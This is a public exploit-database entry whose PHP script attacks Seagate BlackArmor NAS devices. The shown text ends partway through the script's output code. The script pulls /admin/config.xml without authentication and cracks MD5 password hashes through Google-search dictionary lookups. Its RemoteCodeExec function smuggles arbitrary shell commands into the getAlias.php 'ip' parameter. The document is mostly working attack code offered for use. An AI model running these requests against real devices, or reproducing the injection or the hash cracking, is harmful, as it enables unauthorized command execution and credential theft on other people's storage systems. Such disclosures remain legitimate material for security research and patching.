Exploit-DB #30723
Description: Seagate BlackArmor NAS - Privilege Escalation
Type: webapps
Platform: hardware
Date: 2014-01-06
Author: Jeroen - IT Nerdbox

Exploit:
<?php

 

########################################################################

##     Seagate Black Armor Exploit by J. Diel <jeroen@nerdbox.it>     ##

########################################################################

## Public Release v0.2

########################################################################

 

abstract class MD5Decryptor {

    abstract public function probe($hash);

 

    public static function plain($hash, $class = NULL)

    {

        if ($class === NULL) {

            $class = get_called_class();

        } else {

            $class = sprintf("MD5Decryptor%s", $class);

        }

        $decryptor = new $class();

 

        if (count($hash) > 1) {

            foreach ($hash as &$one) {

                $one = $decryptor->probe($one);

            }

        } else {

            $hash = $decryptor->probe($hash);

        }

        return $hash;

    }

 

    public function dictionaryAttack($hash, array $wordlist)

    {

        $hash = strtolower($hash);

        foreach ($wordlist as $word) {

            if (md5($word) === $hash)

                return $word;

        }

    }

}

 

abstract class MD5DecryptorWeb extends MD5Decryptor {

    protected $url;

 

    public function getWordlist($hash)

    {

        $list = FALSE;

        $url = sprintf($this->url, $hash);

        if ($response = file_get_contents($url)) {

            $list[$response] = 1;

            $list += array_flip(preg_split("/\s+/", $response));

            $list += array_flip(preg_split("/(?:\s|\.)+/", $response));

            $list = array_keys($list);

        }

        return $list;

    }

    public function probe($hash) {

        $hash = strtolower($hash);

        return $this->dictionaryAttack($hash, $this->getWordlist($hash));

    }

}

 

class MD5DecryptorGoogle extends MD5DecryptorWeb {

    protected $url = "http://www.google.com/search?q=%s";

}

 

function portcheck($host, $port) {

  $connection = @fsockopen($host, $port);

 

  if (is_resource($connection)) {

    $port_status = "reachable";

    fclose($connection);

  } else {

      $port_status = "unreachable";

  }

  return $port_status;

}

 

function authenticate($url, $username, $password) {

  $ch = curl_init();

 

  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);

  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

  curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

 

  curl_setopt($ch, CURLOPT_HEADER, 1);

  curl_setopt($ch, CURLOPT_POST, true);

  curl_setopt($ch, CURLOPT_POSTFIELDS, "p_user=" . $username . "&p_pass=" .
$password);

  curl_setopt($ch, CURLOPT_COOKIEJAR, "cookie.txt");

  curl_setopt($ch, CURLOPT_URL, $url);

 

  curl_exec($ch);

  curl_close($ch);

}

 

function RemoteCodeExec($url, $command) {

     $url = $url . "/backupmgt/getAlias.php?ip=" . urlencode("xx
/etc/passwd; ") . urlencode($command) . ";";

     $handle = fopen($url, "r");

}

 

function RemoteFileExist($url) {

     $ch = curl_init($url);

 

     curl_setopt($ch, CURLOPT_NOBODY, true);

     curl_exec($ch);

 

     $retcode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

     return $retcode;

     curl_close($ch);

}

 

function getWikiSecurityToken($url) {

  $curl = curl_init($url);

  curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);

  curl_setopt($curl, CURLOPT_AUTOREFERER, TRUE);

  curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);

  curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");

 

  $html = curl_exec($curl);

 

  $doc = new DOMDocument;

  @$doc->loadHTML($html);

  $tags = $doc->getElementsByTagName('input');

 

  foreach ($tags as $tag) {

      $search = $tag->getAttribute('value');

      if (strlen($search) == "32") {

           return $search;

           exit;

      }

   }

}

 

$version = "0.2";

 

if (!isset($argv[1])) {

 

echo "------------------------------------------------------------------\n";

echo "  Seagate BlackArmor NAS Exploit v" . $version . " (c) 2013 - " .
date('Y') . " by J. Diel \n";

echo "  IT Nerdbox :: http://www.nerdbox.it :: jeroen@nerdbox.it\n";

echo "------------------------------------------------------------------\n";

echo "\nUsage: php " . $argv[0] . " <url>\n\n";

echo "Example Usage: php " . $argv[0] . " http://<targetip | host>\n";

die();

}

 

$curl = curl_init();

$url = $argv[1] . "/admin/config.xml";

 

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE);

curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);

curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($curl, CURLOPT_URL, $url);

 

$xmldata = curl_exec($curl);

$http_status = curl_getinfo($curl, CURLINFO_HTTP_CODE);

curl_close($curl);

 

if ($http_status == "0") {

                echo "[Error]: The host was not found!\n\n";

                die();

}

 

if ($http_status == "404") {

                echo "[Error]: The page was not found! Are you sure this is
a Seagate BlackArmor NAS?\n";

                die();

}

 

$xml = new SimpleXMLElement($xmldata);

 

$internal_ip = $xml->xpath("network/lan/ip");

$internal_sn = $xml->xpath("network/lan/netmask");

$internal_gw = $xml->xpath("network/lan/gateway");

$dns0 = $xml->xpath("network/lan/dns0");

$dns1 = $xml->xpath("network/lan/dns1");

 

echo "------------------------------------------------------------------\n";

echo "- Network Details: \n";

echo "------------------------------------------------------------------\n";

 

echo "- IP Address         : " . $internal_ip[0] . "/" . $internal_sn[0] .
"\n";

echo "- Gateway / Router   : " . $internal_gw[0] . "/" . $internal_sn[0] .
"\n";